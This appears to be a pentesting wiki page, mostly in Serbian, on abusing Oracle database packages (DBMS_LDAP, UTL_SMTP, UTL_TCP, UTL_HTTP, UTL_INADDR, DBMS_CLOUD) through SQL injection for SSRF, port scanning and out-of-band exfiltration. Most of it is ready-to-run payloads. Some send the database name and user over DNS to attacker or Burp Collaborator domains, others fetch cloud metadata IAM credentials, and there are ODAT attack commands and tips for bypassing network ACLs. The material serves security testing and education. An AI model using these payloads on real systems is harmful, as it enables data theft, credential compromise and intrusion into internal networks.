229 lines
12 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Oracle injection
{{#include ../../banners/hacktricks-training.md}}
**Poslužite ovaj post kopijom iz wayback mašine obrisanog posta sa [https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/](https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/)**.
## SSRF
Korišćenje Oracle-a za slanje Out of Band HTTP i DNS zahteva je dobro dokumentovano, ali kao sredstvo za ekfiltraciju SQL podataka u injekcijama. Uvek možemo modifikovati ove tehnike/funkcije da bismo uradili druge SSRF/XSPA.
Instalacija Oracle-a može biti zaista bolna, posebno ako želite da postavite brzu instancu da isprobate komande. Moj prijatelj i kolega iz [Appsecco](https://appsecco.com), [Abhisek Datta](https://github.com/abhisek), uputio me je na [https://github.com/MaksymBilenko/docker-oracle-12c](https://github.com/MaksymBilenko/docker-oracle-12c) koji mi je omogućio da postavim instancu na t2.large AWS Ubuntu mašini i Docker-u.
Pokrenuo sam docker komandu sa `--network="host"` flagom kako bih mogao da imitiram Oracle kao nativnu instalaciju sa punim pristupom mreži, tokom ovog blog posta.
```
docker run -d --network="host" quay.io/maksymbilenko/oracle-12c
```
#### Oracle paketi koji podržavaju URL ili specifikaciju imena hosta/broja porta <a href="#oracle-packages-that-support-a-url-or-a-hostname-port-number-specification" id="oracle-packages-that-support-a-url-or-a-hostname-port-number-specification"></a>
Da bih pronašao bilo koje pakete i funkcije koje podržavaju specifikaciju hosta i porta, izvršio sam pretragu na [Oracle Database Online Documentation](https://docs.oracle.com/database/121/index.html). Konkretno,
```
site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"
```
Pretraga je vratila sledeće rezultate (neki od njih se ne mogu koristiti za obavljanje izlazne mreže)
- DBMS_NETWORK_ACL_ADMIN
- UTL_SMTP
- DBMS_XDB
- DBMS_SCHEDULER
- DBMS_XDB_CONFIG
- DBMS_AQ
- UTL_MAIL
- DBMS_AQELM
- DBMS_NETWORK_ACL_UTILITY
- DBMS_MGD_ID_UTL
- UTL_TCP
- DBMS_MGWADM
- DBMS_STREAMS_ADM
- UTL_HTTP
Ova gruba pretraga očigledno preskočuje pakete kao što je `DBMS_LDAP` (koji omogućava prosleđivanje imena hosta i broja porta) jer [stranica sa dokumentacijom](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360) jednostavno ukazuje na [drugu lokaciju](https://docs.oracle.com/database/121/ARPLS/d_ldap.htm#ARPLS360). Stoga, može postojati i drugi Oracle paketi koji se mogu zloupotrebiti za slanje izlaznih zahteva koje sam možda propustio.
U svakom slučaju, hajde da pogledamo neke od paketa koje smo otkrili i naveli iznad.
**DBMS_LDAP.INIT**
Paket `DBMS_LDAP` omogućava pristup podacima sa LDAP servera. Funkcija `init()` inicijalizuje sesiju sa LDAP serverom i uzima ime hosta i broj porta kao argument.
Ova funkcija je ranije dokumentovana da prikazuje eksfiltraciju podataka preko DNS-a, kao ispod
```
SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;
```
Međutim, s obzirom na to da funkcija prihvata ime hosta i broj porta kao argumente, možete to koristiti da funkcioniše kao skener portova.
Evo nekoliko primera
```
SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;
```
A `ORA-31203: DBMS_LDAP: PL/SQL - Init Failed.` pokazuje da je port zatvoren dok vrednost sesije ukazuje na to da je port otvoren.
**UTL_SMTP**
Paket `UTL_SMTP` je dizajniran za slanje e-mailova preko SMTP-a. Primer dat na [Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za slanje e-maila](https://docs.oracle.com/database/121/ARPLS/u_smtp.htm#ARPLS71478). Međutim, za nas je zanimljivo to što omogućava da se navedu host i specifikacija porta.
Grubi primer je prikazan ispod sa funkcijom `UTL_SMTP.OPEN_CONNECTION`, sa vremenskim ograničenjem od 2 sekunde.
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
```
```
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;
```
A `ORA-29276: transfer timeout` pokazuje da je port otvoren, ali nije uspostavljena SMTP veza, dok `ORA-29278: SMTP transient error: 421 Service not available` pokazuje da je port zatvoren.
**UTL_TCP**
Paket `UTL_TCP` i njegove procedure i funkcije omogućavaju [TCP/IP komunikaciju sa servisima](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Ako je programiran za određeni servis, ovaj paket može lako postati način za pristup mreži ili izvršavanje punih Server Side Requests, jer se svi aspekti TCP/IP veze mogu kontrolisati.
Primer [na Oracle dokumentacionom sajtu pokazuje kako možete koristiti ovaj paket za uspostavljanje sirove TCP veze za preuzimanje web stranice](https://docs.oracle.com/cd/B28359_01/appdev.111/b28419/u_tcp.htm#i1004190). Možemo ga malo pojednostaviti i koristiti za slanje zahteva ka instanci metapodataka, na primer, ili ka proizvoljnom TCP/IP servisu.
```
set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
```
```
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
Zanimljivo je da, zahvaljujući sposobnosti kreiranja sirovih TCP zahteva, ovaj paket se takođe može koristiti za upit o usluzi meta-podataka Instance svih provajdera u oblaku, jer se tip metode i dodatni zaglavlja mogu proslediti unutar TCP zahteva.
**UTL_HTTP i Web Zahtevi**
Možda najčešća i najviše dokumentovana tehnika u svakom Out of Band Oracle SQL Injection tutorijalu je [`UTL_HTTP` paket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Ovaj paket je definisan u dokumentaciji kao - `UTL_HTTP paket omogućava Hypertext Transfer Protocol (HTTP) pozive iz SQL i PL/SQL. Možete ga koristiti za pristup podacima na Internetu preko HTTP-a.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
Možete dodatno koristiti ovo za izvođenje nekih rudimentarnih skeniranja portova sa upitima kao što su
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
`ORA-12541: TNS:no listener` ili `TNS:operation timed out` je znak da je TCP port zatvoren, dok je `ORA-29263: HTTP protocol error` ili podaci znak da je port otvoren.
Drugi paket koji sam koristio u prošlosti sa različitim uspehom je [`GETCLOB()` metoda `HTTPURITYPE` Oracle apstraktnog tipa](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) koja vam omogućava interakciju sa URL-om i pruža podršku za HTTP protokol. `GETCLOB()` metoda se koristi za preuzimanje GET odgovora sa URL-a kao [CLOB tip podataka.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)
```
SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;
```
---
## Dodatni paketi i tehnike (Oracle 19c → 23c)
### UTL_INADDR DNS-bazirana eksfiltracija i otkrivanje hostova
`UTL_INADDR` otkriva jednostavne pomoćne funkcije za razrešavanje imena koje pokreću izlazno DNS pretraživanje sa hosta baze podataka. Pošto je potrebna samo domena (nije potreban port/ACL), to je pouzdana osnova za slepu eksfiltraciju kada su drugi mrežni pozivi blokirani.
```sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;
```
`get_host_address()` vraća rešenu IP adresu (ili podiže `ORA-29257` ako rešavanje ne uspe). Napadaču je potrebno samo da prati dolazni DNS zahtev na kontrolisanom domenu kako bi potvrdio izvršenje koda.
### DBMS_CLOUD.SEND_REQUEST pun HTTP klijent na Autonomous/23c
Nedavne cloud-centric verzije (Autonomous Database, 21c/23c, 23ai) dolaze sa `DBMS_CLOUD`. Funkcija `SEND_REQUEST` deluje kao HTTP klijent opšte namene koji podržava prilagođene glagole, zaglavlja, TLS i velike telo, čineći je mnogo moćnijom od klasičnog `UTL_HTTP`.
```sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username => 'ignored',
password => 'ignored');
END;
/
DECLARE
resp DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri => 'http://169.254.169.254/latest/meta-data/',
method => 'GET',
timeout => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/
```
Zato što `SEND_REQUEST` omogućava proizvoljne ciljne URI-je, može se zloupotrebiti putem SQLi za:
1. Interno skeniranje portova / SSRF za cloud metadata servise.
2. Ekstrakciju van kanala preko HTTPS (koristite Burp Collaborator ili `ngrok` tunel).
3. Povratne pozive na servere napadača čak i kada su stariji paketi poziva onemogućeni ACL-ima.
Ako imate samo klasični on-prem 19c, ali možete kreirati Java stored procedure, ponekad možete instalirati `DBMS_CLOUD` iz OCI klijentskog paketa — korisno u nekim angažmanima.
### Automatizacija napada sa **ODAT**
[ODAT Oracle Database Attacking Tool](https://github.com/quentinhardy/odat) je u skladu sa modernim izdanjima (testirano do 19c, 5.1.1 Apr-2022). Moduli `utl_http`, `utl_tcp`, `httpuritype` i noviji `dbms_cloud` automatski:
* Otkrivaju upotrebljive pakete poziva/ACL dozvole.
* Aktiviraju DNS i HTTP povratne pozive za slepu ekstrakciju.
* Generišu SQL payload-e spremne za kopiranje za Burp/SQLMap.
Primer: brza OOB provera sa podrazumevanjem kredencijala (brine se o enumeraciji ACL-a u pozadini):
```bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob
```
### Nedavne restrikcije i zaobilaženja mrežnih ACL-a
Oracle je pooštrio podrazumevane mrežne ACL-ove u CPU-u iz jula 2023 — nenačinjeni nalozi sada po defaultu dobijaju `ORA-24247: network access denied by access control list`. Dva obrasca i dalje omogućavaju pozive kroz SQLi:
1. Ciljani nalog poseduje ACL unos (`DBMS_NETWORK_ACL_ADMIN.create_acl`) koji je dodao programer za integracije.
2. Napadač zloupotrebljava rutinu sa visokim privilegijama PL/SQL definisanim pravima (npr. u prilagođenoj aplikaciji) koja *već* ima `AUTHID DEFINER` i potrebne dozvole.
Ako naiđete na `ORA-24247` tokom eksploatacije, uvek tražite ponovo upotrebljive procedure:
```sql
SELECT owner, object_name
FROM dba_objects
WHERE object_type = 'PROCEDURE'
AND authid = 'DEFINER';
```
(u mnogim revizijama barem jedna procedura izveštavanja/izvoza imala je potrebna prava).
---
## Reference
* Oracle Docs `DBMS_CLOUD.SEND_REQUEST` paket opis i primeri.
* quentinhardy/odat Alat za napad na Oracle bazu podataka (najnovije izdanje 5.1.1, Apr-2022).
{{#include ../../banners/hacktricks-training.md}}